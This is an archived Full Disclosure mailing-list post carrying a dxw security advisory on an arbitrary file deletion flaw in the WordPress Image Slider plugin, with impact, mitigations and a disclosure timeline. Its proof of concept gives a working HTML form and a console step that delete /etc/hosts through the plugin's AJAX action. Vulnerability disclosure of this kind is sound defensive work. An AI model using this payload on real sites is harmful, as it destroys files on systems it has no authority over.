[prev in list] [next in list] [prev in thread] [next in thread]
List: full-disclosure
Subject: [FD] Arbitrary file deletion vulnerability in Image Slider allows authenticated users to delete file
From: dxw Security <security () dxw ! com>
Date: 2016-12-23 14:47:34
Message-ID: 24ffe619c3eff367da955941153f1830 () security ! dxw ! com
[Download RAW message or body]
Details
================
Software: Image Slider
Version: 1.1.41,1.1.89
Homepage: http://wordpress.org/plugins/image-slider-widget/
Advisory report: https://security.dxw.com/advisories/arbitrary-file-deletion-vulnerability-in-image-slider-allows-authenticated-users-to-delete-files/
CVE: Awaiting assignment
CVSS: 5.5 (Medium; AV:N/AC:L/Au:S/C:P/I:P/A:N)
Description
================
Arbitrary file deletion vulnerability in Image Slider allows authenticated users to delete \
files
Vulnerability
================
Any user able to create or edit “Sliders” (the same users who can create/edit posts, as far as \
I can tell) is able to delete arbitrary files that the web user has permission to write to. In \
addition, the attacker is told whether that operation succeeded or failed. Depending on \
configuration this could lead to the attacker being able to:
Delete media uploads
Delete plugin files (this would be especially bad if there were security plugins limiting the \
attacker’s abilities) Delete important system files (/etc/hosts, /usr/bin/php)
Attempt to delete unimportant files in order to discover more information about the system \
(i.e. attempting to delete /usr/share/doc/apt/changelog.gz would have little effect on the \
system if successful but it would tell the attacker that the host is running a Debian \
derivative)
Proof of concept
================
First, make sure you have a file to delete. I’m going to use /etc/hosts as an example because \
it demonstrates that you’re not limited to files within the WordPress installation, but make \
sure whichever file you use can be deleted by the user account WordPress is running under Visit \
/wp-admin/post-new.php?post_type=easyimageslider Input the following JavaScript in the \
inspector’s console to get the nonce value: \
document.querySelector(\'[data-tnonce]\').dataset[\'tnonce\'] Create a page containing the \
following code, replace NONCE with the nonce you got in the previous step, visit the page and \
click submit
<form action=\"http://localhost/wp-admin/admin-ajax.php\" method=\"POST\">
<input type=\"text\" name=\"action\" value=\"ewic_timthumb_check\">
<input type=\"text\" name=\"turl\" value=\"/etc/hosts\">
<input type=\"text\" name=\"security\" value=\"NONCE\">
<input type=\"submit\">
</form>
If WordPress is being run as root (or if the web user has permission to write to that file) \
then the page will display “1”, if not it won’t display anything.
Mitigations
================
Disable the plugin. No fixed version is known.
Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: \
https://security.dxw.com/disclosure/
Please contact us on security@dxw.com to acknowledge this report if you received it via a third \
party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your \
behalf.
This vulnerability will be published if we do not receive a response to this report with 14 \
days.
Timeline
================
2015-10-29: Discovered
2016-12-09: Reported to vendor via info@ghozylab.com
2016-12-23: Vendor has not responded after 14 days
2016-12-23: Published
Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic